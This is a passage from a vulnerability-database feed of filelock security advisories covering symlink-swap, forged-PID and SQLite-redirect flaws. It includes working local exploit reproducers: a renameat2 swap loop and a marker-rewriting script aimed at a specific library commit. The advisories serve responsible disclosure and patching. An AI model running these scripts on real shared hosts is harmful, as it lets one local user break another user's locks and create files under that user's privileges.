\"/tmp/repro.d/victim_job.py\"]\nattacker_swap_loop = [sys.executable, \"/tmp/repro.d/attacker_swap_loop.py\"]\nvictim_uid = pwd.getpwnam(\"victim\").pw_uid\n\n# set up: a directory both users can write (0777, no sticky bit) and one only the victim can write.\n# The shared one is on tmpfs to keep the attacker's rename loop off the container's disk.\nshared = \"/dev/shm/filelock-repro-shared\"\nprivate = \"/tmp/filelock-repro-private\"\nshutil.rmtree(shared, ignore_errors=True)\nshutil.rmtree(private, ignore_errors=True)\nos.mkdir(shared)\nos.chmod(shared, 0o777)\nos.mkdir(private, 0o700)\nshutil.chown(private, \"victim\", \"victim\")\n\nown_mkdir = subprocess.run([\"mkdir\", f\"{private}/claims\"], capture_output=True, text=True, **as_attacker)\nprint(f\"CONTROL attacker's own mkdir: {own_mkdir.stderr.strip()}\")\n\nsubprocess.run([\"ln\", \"-s\", private, f\"{shared}/static.lock.filelock\"], check=True, **as_attacker)\nrefused = subprocess.run([*victim_job, f\"{shared}/static.lock\"], capture_output=True, text=True, check=True, **as_victim)\nprint(f\"CONTROL symlink resting at static.lock.filelock: {refused.stdout.strip()}; private directory holds {os.listdir(private)}\")\n\n# the job has run before, undisturbed, so work.lock.filelock is the victim's own directory\nfirst_run = subprocess.run([*victim_job, f\"{shared}/work.lock\"], capture_output=True, text=True, check=True, **as_victim)\ncoordination = os.lstat(f\"{shared}/work.lock.filelock\")\nprint(f\"CONTROL undisturbed job: {first_run.stdout.strip()}; work.lock.filelock is {stat.filemode(coordination.st_mode)}, owner uid {coordination.st_uid}\")\nprivate_before_attack = os.listdir(private)\nprint(f\"CONTROL private directory holds {private_before_attack}\")\n\n# attack: the attacker keeps exchanging work.lock.filelock with a symlink to the private directory\n# while the job keeps running; each run is one more chance to land between the check and the use\nswapper = subprocess.Popen([*attacker_swap_loop, f\"{shared}/work.lock\", private], **as_attacker)\njob_outcomes = collections.Counter()\nwhile job_outcomes.total() < 200 and not os.listdir(private):\n    job = subprocess.run([*victim_job, f\"{shared}/work.lock\"], capture_output=True, text=True, **as_victim)\n    job_outcomes[job.stdout.strip()] += 1\nassert swapper.poll() is None, \"the attacker's swap loop stopped on its own\"\nswapper.kill()\nswapper.wait()\n\n# check: the victim's lock created \"claims\" inside the directory the attacker could not write\nprint(f\"OBSERVED {job_outcomes.total()} runs of the job printed {dict(job_outcomes)}\")\nprint(f\"OBSERVED private directory holds {os.listdir(private)}\")\nredirected = False\nif os.path.lexists(f\"{private}/claims\"):\n    claims = os.lstat(f\"{private}/claims\")\n    print(f\"OBSERVED {private}/claims is {stat.filemode(claims.st_mode)}, owner uid {claims.st_uid} (victim is {victim_uid}), holds {os.listdir(f'{private}/claims')}\")\n    redirected = stat.S_ISDIR(claims.st_mode) and claims.st_uid == victim_uid\nprint(\"BUG\" if private_before_attack == [] and redirected else \"OK\")\n```\n\n**`repro.d/attacker_swap_loop.py`**\n\n```python\nimport ctypes\nimport os\nimport sys\nimport time\n\nlock_path, target_directory = sys.argv[1], sys.argv[2]\ncoordination_directory = f\"{lock_path}.filelock\".encode()\nsymlink_to_target = f\"{lock_path}.decoy\".encode()\nos.symlink(target_directory, symlink_to_target)\n\nrenameat2 = ctypes.CDLL(None, use_errno=True).renameat2\nAT_FDCWD = -100\nRENAME_EXCHANGE = 2\ngive_up_at = time.monotonic() + 300\nwhile time.monotonic() < give_up_at:\n    # one atomic syscall: the name always exists, as the victim's directory or as the symlink\n    if renameat2(AT_FDCWD, coordination_directory, AT_FDCWD, symlink_to_target, RENAME_EXCHANGE) != 0:\n        raise OSError(ctypes.get_errno(), \"renameat2(RENAME_EXCHANGE)\")\n```\n\n**`repro.d/victim_job.py`**\n\n```python\nimport sys\n\nfrom filelock import StrictSoftFileLock\n\ntry:\n    with StrictSoftFileLock(sys.argv[1], timeout=1):\n        print(\"job ran\")\nexcept OSError as error:  # filelock.Timeout and SoftFileLockProtocolError are both OSError\n    print(f\"job skipped: {type(error).__name__}\")\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant X as other local user\n    participant N as work.lock.filelock (name in shared dir)\n    participant V as job of the lock user (StrictSoftFileLock, timeout=1)\n    participant T as /tmp/private (0700, lock user only)\n    X->>N: plant work.lock.decoy -> T, loop renameat2(RENAME_EXCHANGE)\n    rect rgb(207, 228, 255)\n        V->>N: lstat work.lock.filelock: a real directory\n    end\n    rect rgb(255, 214, 214)\n        X->>N: exchange lands: name is now the symbolic link to T\n        V->>T: mkdir work.lock.filelock/claims creates T/claims (owned by the lock user)\n        V->>T: scan, publish intent-v1-<token>.claim, link held-v1-<token>.claim in T/claims\n        X->>N: exchange again: name is the directory\n        V->>N: release(): unlink by path gets ENOENT, counted as removed\n        Note over V,T: T/claims and its claim files stay behind#59; aimed at another lock's .filelock they block that lock\n    end\n    Note over V,N: a miss: lstat sees the symbolic link, SoftFileLockProtocolError, next run tries again\n```\n\n## Evidence\n\nThe scanner's reproducer (commit b831496, Linux 6.1 x86_64, CPython 3.14, `fs.protected_symlinks=1`) creates `/dev/shm/filelock-repro-shared` (`0777`, no sticky bit) and `/tmp/filelock-repro-private` (`0700`, owned by `victim`). Three controls run first. The other account's own `mkdir` in the private directory answers `Permission denied`. A link resting at `static.lock.filelock` gives `job skipped: SoftFileLockProtocolError` with the private directory holding `[]`. An undisturbed job prints `job ran` and leaves `work.lock.filelock` as `drwxr-xr-x`, owner uid 1000.\n\nThen the swap loop starts and the job (`with StrictSoftFileLock(path, timeout=1)`) runs up to 200 times until the private directory is no longer empty. That took 1 to 8 runs, about 1.5 s in total. Afterwards `claims`, a directory owned by uid 1000 and mode `0755`, is in the private directory; in some runs it holds `intent-v1-<token>.claim` and `held-v1-<token>.claim` files. Verdict `BUG`. In a `1777` directory on tmpfs (a memory-backed filesystem), with the other account having created `<path>.filelock` first, the lock user created `T/claims` after 4, 22 and 2 runs in three trials. The scanner ran the four further cases under Mechanism in separate runs with the same accounts.\n\nOur review ran the reproducer against the 4.2.0 release image and the scanned commit (`BUG` on both) and against the head of #839 (`OK`: all 200 runs completed with the private directory empty). The review's regression tests on POSIX cover the `claims`-level swap and the `force_break()` case. We did not verify Windows.\n\n## Impact\n\nAnother local user who can rename `<path>.filelock` makes the lock user's process create a directory named `claims`, mode `0777 & ~umask` (umask: the process's default permission mask), inside any directory that process can write, and leave claim files in it. The other user chooses the location only. filelock fixes the directory name, and the files contain filelock's own claim record (magic, token, PID, host name, start token). The process overwrites or truncates nothing that exists. This amounts to directory and file creation outside the lock's directory with the lock user's privileges, not a write of chosen data.\n\nWhere the chosen directory already has a `claims` subdirectory, the lock user's process also scans it, unlinks entries named like stale private records, and raises an error that quotes the first other file name in it. Aimed at another strict lock's `.filelock` directory, the stranded claims deny that lock to every process until an operator finds and `force_break()`s each one. Without this the other user has no way to affect a lock in a directory it cannot enter. The swap at `claims` leaves one-byte `0600` dot-files instead of claims.\n\nThrough `claims`, another user learns one file name per planted link from a directory only the lock user can list, and whether a guessed path is missing or empty, a file or a directory. This needs the exception text or its `claim_name` to reach that user (a shared log, CI output, an error report); on its own this disclosure is minor. The `force_break()` variant puts two processes inside a different strict lock's critical section, one the other user can neither list nor write, with neither told. That happens only when the lock user runs the tutorial's blind recovery loop.\n\nThis shares only the bug class with GHSA-j8f7-rjxc-mr56 (the symbolic link at the `ReadWriteLock` database path, fixed in 4.0.9). There the other user chose the file the lock opened. Here the link sits one component above the final one, the other user swaps it in after the check that refuses it, and it chooses only the parent directory.\n\n## Workarounds\n\nKeep strict locks in a directory no other user can write. In a sticky shared directory, create `<path>.filelock` as the service user before any other account can, and check its owner before first use. Do not run the recovery loop from `docs/tutorials.rst` on a lock in a shared directory without first verifying, as `docs/how-to.rst` says, that the owner named in each claim is gone. Treat an unexpected `SoftFileLockProtocolError` that quotes an unknown claim name as a sign that `claims` may point elsewhere. Keep the exception text of `claims` out of logs other accounts can read. On Windows, keep the lock directory writable only by trusted users.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/839\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-SVFEYX89`, scanned commit b831496b0273)\n- 2026-10-16 01:31 UTC: fix PR #839 opened\n- 2026-10-16 05:41 UTC: draft advisory created (first as part of GHSA-9c4x-gm8v-wgc4, then split into this advisory)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-m462-7rxw-wvpg"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/839"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/bfa066d65a1ba9106f86ee9d027f7588b9c77e03"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2026-112939","published":"2026-10-29T21:31:26Z","modified":"2026-11-08T08:37:05Z","upstream":["GHSA-rfpc-qcw5-3pc4","CVE-2026-112939"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"26.1.1_1"},{"fixed":"26.10.1_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.9","key":"pkg:pypi/filelock@4.2.9","resource":"filelock"}]},"summary":"filelock: SoftFileLock removes a live holder's marker when another user forges the PID in a writable marker","details":"`SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, their async variants and a `FileLock` that has fallen back to a soft lock on `ENOSYS` decide from the record inside the marker file whether its owner is gone. The marker is the file whose presence says a process holds the lock. They do not check who could have written that record.\n\nA local user who can write the marker but cannot remove it rewrites the holder's record to name a dead PID (process id). That position arises with an explicit `mode` with group or other write bits, or the default mode under a lax umask (the process setting that strips permission bits from new files), in a sticky or otherwise non-removable directory. The sticky bit is a directory flag that lets only a file's owner remove or rename it. The next contender running as the holder's account, or root, judges the lock stale, removes the live marker on that user's behalf and acquires it. Two processes then run the critical section together and neither gets an error. Affected versions are filelock 3.22.0 through 4.2.0 (finding `ANT-2026-W1H9NXUH`).\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N` scores 4.7 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:H` (high attack complexity): the marker must carry group or other write bits (an explicit permissive `mode`, or umask `002`/`000` with a shared group), and a contender of the holder's account must ask for the lock while the forged record is in place. `I:H` (high integrity impact): two holders then write whatever the lock protects, and the holder is not told. `C:N` and `A:N` (no confidentiality or availability impact). `S:U` (scope unchanged). Classification from the review: **security, conditional** on another user being able to write the live marker. The scanner rated it high (CWE-345). The default mode under umask `022` is not affected.\n\n## Scope and preconditions\n\n- The other user can write the marker. The application passes a `mode` with group or other write bits, which `fchmod` applies as given since 4.1.0. `0o666` is a common choice for a lock shared between accounts, although a soft-lock contender of another account waits as well on a `0o644` marker, since contenders only read and rename. Or the application uses the default mode (`0o666` through the umask) under umask `002` in a directory whose group the other user belongs to, or under umask `000`. The default mode under umask `022` is not affected.\n- The other user cannot remove the marker itself: the directory is sticky, or the other user cannot write it at all (a `0755` directory owned by the lock's user gives the same overlap). In a non-sticky shared directory the other user can unlink the marker without filelock, and filelock adds nothing.\n- A contender that may rename the marker asks for the lock: another process of the holder's account (several workers of one user) or root. A contender of another unprivileged account cannot rename the marker in a sticky directory and times out.\n- The finding reaches every class that publishes a soft marker: `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, their async variants, and `FileLock(mode=0o666)` on a filesystem where `flock` (a kernel lock on an open file) fails with `ENOSYS`.\n\nThese protections against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against.\n\n## Affected code\n\nAt the scanned commit b831496: the create mode in [`SoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L67-L71), the explicit-mode `fchmod` in [`_apply_explicit_mode`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L100-L105), the trusting verdict in [`_try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123) and the [`owner_is_stale`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_identity.py#L64-L79) it relies on; the same call in [`MarkerSoftFileLock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81) and [`SoftFileLease`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256).\n\n## Introduced\n\nThe stale verdict that trusts the record came in with e35c3afac473 (\"feat(soft): detect and break stale locks\", #476, 2026-02-13), first released in 3.22.0. From then on a marker left group- or other-writable by the umask is forgeable. The reproducer's exact configuration, an explicit `mode=0o666` under umask `022`, needs 66d309d (\"fix(soft): honour mode and tighten marker grammar\", #807), first released in 4.1.0. Both match the git tags.\n\n## Mechanism\n\nA contender whose `O_CREAT | O_EXCL` create fails with `EEXIST` goes to `_try_break_stale_lock`. `_read_lock_file` makes sure the path is a regular file (`lstat`, `O_NOFOLLOW` open, `fstat`) and returns its content, mtime and inode (the kernel's identity for a file, independent of its name). It has the `fstat` result in hand but does not look at `st_uid` or `st_mode`. The code parses the content into `pid`, `hostname` and start token and hands them to `owner_is_stale`, whose docstring promises to return `True` \"only when this process can prove the exact recorded owner is dead\". That proof holds only if the owner wrote the record. A process of another account that can open the marker for writing uses `O_WRONLY | O_TRUNC` (no `O_CREAT`, so `fs.protected_regular` does not block it) and writes `2147483647\\n<host>\\n`, keeping the host line. The host matches, PID 2147483647 does not exist, and `owner_is_stale` returns `True`.\n\n`break_lock_file` renames the marker to `<lock>.break.<pid>.<token>` and unlinks it. Its mtime and inode guard compares against what the contender read after the rewrite, so it passes. The contender, which runs as the marker's owner, does the rename, so the sticky bit allows it. On the next poll the contender's `O_EXCL` create succeeds. The first holder is not told: `SoftFileLock` has no heartbeat, and on release `_unlink_open_marker` finds another inode or no file at the path and returns without an error.\n\nOther records lead to the same break, each run by the scanner the same way: the holder's own PID and host with a different third line (`owner_is_stale` reads a live PID with another start token as a recycled PID); an empty file (malformed, broken after `MALFORMED_LOCK_AGE_THRESHOLD`, 2 s). `MarkerSoftFileLock` and `SoftFileLease` apply `owner_is_stale` to the `pid=`, `host=` and `start=` fields of a protocol 2 record, and rewriting `pid=` admitted a second process for both. A `SoftFileLease` holder learns of it at its next heartbeat through `on_compromise`; `SoftFileLock` and `MarkerSoftFileLock` holders do not learn of it at all.\n\nThe marker becomes writable by another account in two ways. An explicit `mode` with group or other write bits goes through `fchmod`, so the umask does not narrow it (`test_lock_mode_soft` at the scanned commit pins `-rw-rw-rw-` under umask `022`). The default mode passes `0o666` to `os.open`, so under umask `002` the marker is `0o664`. With no `mode` argument, in a setgid and sticky group directory (`3770`), a second member of the group rewrote the marker and a second process of the holder's user acquired the same way. Under umask `000` the marker is `0o666` and any local user can rewrite it. `FileLock(mode=0o666)` on a filesystem where `flock` fails with `ENOSYS` falls back to `SoftFileLock` and produces the same `-rw-rw-rw-` marker (confirmed with `fcntl.flock` replaced by a stub raising `ENOSYS`). With `mode=0o644`, or no `mode` under umask `022`, the other user's open fails with `EACCES` and the second process times out.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-W1H9NXUH`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport pwd\nimport shutil\nimport stat\nimport subprocess\nimport sys\nimport tempfile\nimport time\n\n# root bypasses file permissions, so each party runs as one of the image's unprivileged accounts\nAS_VICTIM = [\"runuser\", \"-u\", \"victim\", \"--\", sys.executable]\nAS_ATTACKER = [\"runuser\", \"-u\", \"attacker\", \"--\"]\nWORKER = \"/tmp/repro.d/worker.py\"\nREWRITE_MARKER = \"/tmp/repro.d/rewrite_marker.py\"\n\n# set up: a sticky, world-writable directory like /tmp; both workers print \"entered\" / \"left\" into one shared log\nshared_dir = tempfile.mkdtemp(prefix=\"shared-\", dir=\"/tmp\")\nos.chmod(shared_dir, 0o1777)\nlock_path = os.path.join(shared_dir, \"cache.lock\")\nlog_path = os.path.join(shared_dir, \"order.log\")\nlog = open(log_path, \"w\")\n\nfirst = subprocess.Popen([*AS_VICTIM, WORKER, lock_path, \"first\", \"6\"], stdout=log)\nwhile \"first entered\" not in open(log_path).read():\n    assert first.poll() is None, \"the first worker did not get the lock\"\n    time.sleep(0.05)\n\nmarker = os.stat(lock_path)\nprint(\"marker:\", stat.filemode(marker.st_mode), pwd.getpwuid(marker.st_uid).pw_name, repr(open(lock_path).read()))\n\n# before the attack: the second worker times out, and the attacker cannot delete the marker from the sticky directory\nsecond_before = subprocess.run([*AS_VICTIM, WORKER, lock_path, \"second\", \"0.5\"], stdout=log, stderr=subprocess.PIPE, text=True)\nprint(\"second worker:\", second_before.stderr.splitlines()[-1])\nassert \"Timeout\" in second_before.stderr\nrm = subprocess.run([*AS_ATTACKER, \"rm\", \"-f\", lock_path], capture_output=True, text=True)\nprint(\"attacker:\", rm.stderr.strip())\nassert rm.returncode != 0\n\n# attack: no check=True, because under a fix the marker is not writable by others, and then this step fails\nsubprocess.run([*AS_ATTACKER, sys.executable, REWRITE_MARKER, lock_path])\nprint(\"marker after the attack:\", repr(open(lock_path).read()))\n\n# the second worker tries again, exactly as before\nsubprocess.run([*AS_VICTIM, WORKER, lock_path, \"second\", \"0.5\"], stdout=log)\nprint(\"first worker exit status:\", first.wait())\n\n# check: a correct lock keeps the second worker out until the first has left\norder = open(log_path).read().splitlines()\nprint(\"order:\", order)\nshutil.rmtree(shared_dir)\nprint(\"BUG\" if order == [\"first entered\", \"second entered\", \"second left\", \"first left\"] else \"OK\")\n```\n\n**`repro.d/rewrite_marker.py`**\n\n```python\n#!/usr/bin/env python3\n# The attacker, another account: overwrite the live holder's record in place with one naming a PID that cannot exist.\nimport os\nimport sys\n\nlock_path = sys.argv[1]\nNO_SUCH_PID = 2**31 - 1  # the largest PID the marker parser accepts; Linux pid_max is at most 2**22\n\nholder_host = open(lock_path).read().splitlines()[1]  # owner_is_stale only judges records from its own host\nmarker = os.open(lock_path, os.O_WRONLY | os.O_TRUNC)  # no O_CREAT, so fs.protected_regular does not refuse it\nos.write(marker, f\"{NO_SUCH_PID}\\n{holder_host}\\n\".encode())\nos.close(marker)\n```\n\n**`repro.d/worker.py`**\n\n```python\n#!/usr/bin/env python3\n# One of several workers of the victim's application; they take turns under a soft lock in a shared directory.\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock_path, name, work_seconds = sys.argv[1], sys.argv[2], float(sys.argv[3])\n\n# mode=0o666 so that the lock file can be used from several accounts\nwith SoftFileLock(lock_path, mode=0o666, timeout=1):\n    print(name, \"entered\", flush=True)\n    time.sleep(work_seconds)\n    print(name, \"left\", flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant H as holder (uid victim)\n    participant M as cache.lock (0666, owner victim, sticky dir)\n    participant A as other account (uid attacker)\n    participant C as contender (uid victim)\n    H->>M: O_CREAT|O_EXCL create, fchmod 0o666, write \"pid host token\"\n    C->>M: O_EXCL fails, read record: holder alive, Timeout\n    A->>M: rm: EPERM (sticky directory)\n    rect rgb(255, 214, 214)\n        A->>M: open O_WRONLY|O_TRUNC, write \"2147483647 host\"\n        C->>M: read record, owner_is_stale: PID 2147483647 is dead\n        C->>M: rename to cache.lock.break.*, unlink (the owner may)\n        C->>C: next poll: O_EXCL succeeds, enters beside H\n        Note over H,C: both inside, no error, H's release finds another inode and returns\n    end\n```\n\n## Evidence\n\nThe scanner's reproducer runs two `victim` workers on `with SoftFileLock(path, mode=0o666, timeout=1):` in a root-owned `1777` directory under `/tmp` (overlayfs, `fs.protected_regular=2`), with `attacker` uid 1001 sharing no group with `victim`. It printed the marker as `-rw-rw-rw- victim '<pid>\\n<host>\\n<start token>\\n'`, the second worker's `Timeout`, `rm: cannot remove ...: Operation not permitted` for `attacker`, the marker after the rewrite as `'2147483647\\n<host>\\n'`, first worker exit status 0, and the log order `['first entered', 'second entered', 'second left', 'first left']`. The second worker entered and left while the first was still inside its `with` block, about 50 ms after the rewrite, on its second poll. It prints `BUG` every time, in about 6 s. Our review ran the same reproducer: `BUG` on 4.2.0, `OK` on the head of #836. The review also tried umask `000` with the default mode.\n\n## Impact\n\nA local user who can write a soft lock's marker but cannot remove it gets a second process admitted into the critical section while the first holder is still inside. With no `lifetime` set, `SoftFileLock` and `MarkerSoftFileLock` give neither process a signal. Whatever the lock protects (a cache, an install directory, a state file) then has two concurrent writers. The other user chooses the moment and gains nothing else: it touches no file other than the marker. The process that rewrites the record runs under a different UID from the holder; the same-UID contender only follows the protocol.\n\n## Workarounds\n\nDo not give soft markers group or other write bits: pass no `mode` (or `mode=0o644`) under umask `022`. A soft-lock contender of another account waits as well on a `0o644` marker, because contenders only read and rename. The write bits matter only for the native `flock` lock and for `FileLock`'s first open before it falls back to a soft lock. Avoid umask `002` or `000` for processes that take soft locks in directories shared with other accounts, and keep lock files in a directory other users cannot write.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/836\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-W1H9NXUH`, scanned commit b831496b0273)\n- 2026-10-16 00:46 UTC: draft advisory\n- 2026-10-16 01:16 UTC: fix PR #836 opened","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-rfpc-qcw5-3pc4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112939"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/836"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/eeceaa846cbe4df72718d94c8371ca1ab8f5b3cc"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-lint-CVE-2026-112940","published":"2026-10-29T21:31:26Z","modified":"2026-11-08T08:37:05Z","upstream":["GHSA-v4x8-3wr5-3wq8","CVE-2026-112940"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible-lint","purl":"pkg:brew/ansible-lint"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"26.1.1_1"},{"fixed":"26.10.1_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.9"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.9","key":"pkg:pypi/filelock@4.2.9","resource":"filelock"}]},"summary":"filelock ReadWriteLock: SQLite reopens the lock database by name, so a planted symlink or journal file makes the lock user's process overwrite or unlink its own files","details":"`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) hand SQLite a name they do not control. On Linux the lock validates its database through a descriptor (the number the kernel gives a process for an open file). It then connects SQLite to `/proc/self/fd/<n>`, a Linux path that names the process's own open file `n`. SQLite turns that path back into a plain path and reopens it by name, following symlinks (a symlink is a file that points at another path). On every POSIX route SQLite also acts on `-journal`, `-wal` and `-shm` files it finds beside that name. Those are SQLite's side files: the rollback journal (pages saved to undo an interrupted write), the write-ahead log or WAL (changes kept outside the main file), and the shared-memory index for the WAL.\n\nAnother local user who can create or rename entries in the directory that holds the lock database can turn this against the user running the lock (below: the lock user). Such a directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). That other user can make the lock user's ordinary `read_lock()` or `write_lock()` write bytes of the other user's choosing into the lock user's own files. The same position lets the other user make that call create or unlink files of the lock user, admit a reader beside a writer, or kill the holder. All of this runs with the lock user's privileges. In a sticky directory such as `/tmp` a planted `-wal` file makes every acquire fail. Affected versions are filelock 3.20.4 through 4.2.0 (the `/proc/self/fd` redirect since 4.0.9, the side-file variants since 3.20.4).\n\nAnthropic's OSS Scanner reported this in private as `ANT-2026-KMJ2575J` [high, CWE-363]: ReadWriteLock: SQLite still follows planted symlinks, overwriting files.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` scores 7.1 (High).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): the planted-journal variant needs no race, and the redirect won 77 of 77 attempts. `I:H` (high integrity impact): the other user writes bytes of their choosing into files of the lock user and unlinks files of their choosing. `A:H` (high availability impact): the other user makes every acquire fail or kills the lock holder. `C:N` (no confidentiality impact): the other user learns nothing. `S:U` (scope unchanged): the effect stays within the lock user's own privileges.\n\nClassification from the external review: **conditional security**, a cross-user effect that exists only when another user can change names in the lock database's directory. The review notes that the 77/77 inotify result (inotify is a Linux interface that reports file events) is stronger evidence than a theoretical TOCTOU (a time-of-check to time-of-use race). The scanner rated it high. The review accepts the mechanism and narrows it to that precondition.\n\n## Scope and preconditions\n\n- The other party is a different local account that can create or rename entries in the directory that holds the lock database. That is a `0777` directory or a group-writable one (including a setgid `2775` project directory shared with that account), in each case without the sticky bit. The lock user's lock must be able to open the database read-write, so a database the other user creates is `0666`. filelock itself creates the database `0600`.\n- Sticky directories (`/tmp`, `/var/tmp`, any `1777` directory) narrow the finding rather than exclude it. The redirect and the journal replay do not reach a database the lock user owns there (tested with `fs.protected_regular=2`). What remains is a planted non-empty `<db>-wal` (any mode; a directory or FIFO works too) that the lock user cannot unlink. It makes every acquire raise `sqlite3.OperationalError: disk I/O error`. A hard link (a second name for the same file) to a file of the lock user at the lock path also remains, if `fs.protected_hardlinks=0`.\n- Two kernel settings matter. `fs.protected_regular` (1 or 2 is the systemd default on most distributions; the kernel's own default is 0) keeps a user from opening a file another user owns in a sticky world-writable directory. Where it is 0, the other user can own the database in `/tmp`, and SQLite follows a planted symlink itself (not tested). `fs.protected_hardlinks=1` (most distributions; kernel default 0) blocks a hard link of a lock user's file onto the lock path. Neither setting affects a non-sticky shared directory.\n- Platform and route. The `/proc/self/fd` redirect is Linux with `/proc` mounted, 4.0.9 and later. The side-file variants (`-journal`, `-wal`, `-shm`) exist on every POSIX route. On the hard-link route (macOS since 4.1.1 for every connection, Linux without `/proc`) they need the link-directory swap described under \"Mechanism\", so a non-sticky parent. Neither the scanner nor the review executed on macOS; the statement rests on the platform branch and the identical code after it. Windows does not take this path.\n- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename an entry in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`: [`_connect_through_descriptor` builds `/proc/self/fd/<n>` and hands it to `sqlite3.connect`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L982-L1001). The assumption is the [comment at line 63](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L63), \"Descriptor paths reopen the validated inode\" (an inode is the kernel's identity for a file, independent of its name). SQLite first reads the file it opened at [`PRAGMA journal_mode=MEMORY`, line 816](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L816). The check in [`_raise_if_database_replaced` at line 836](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L836) runs only after `BEGIN`. Both [`_open_lock_database`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1079-L1091) and [`_raise_if_wal`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1094-L1101) inspect the descriptor, not the file SQLite is on. The one-level hard link of the macOS route is [`_link_beside`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1014-L1029).\n\n## Introduced\n\nThe `/proc/self/fd` redirect came with `4d45e83` (\"Merge commit from fork\", the fix for GHSA-j8f7-rjxc-mr56), first released in **4.0.9** (verified: `git tag --contains 4d45e83` gives 4.0.9); 4.0.8 does not have it. The side-file variants are older. They reproduce on `cfd4446` (\"feat(lock): add SQLite-based ReadWriteLock (#399)\"), first released in **3.20.4** 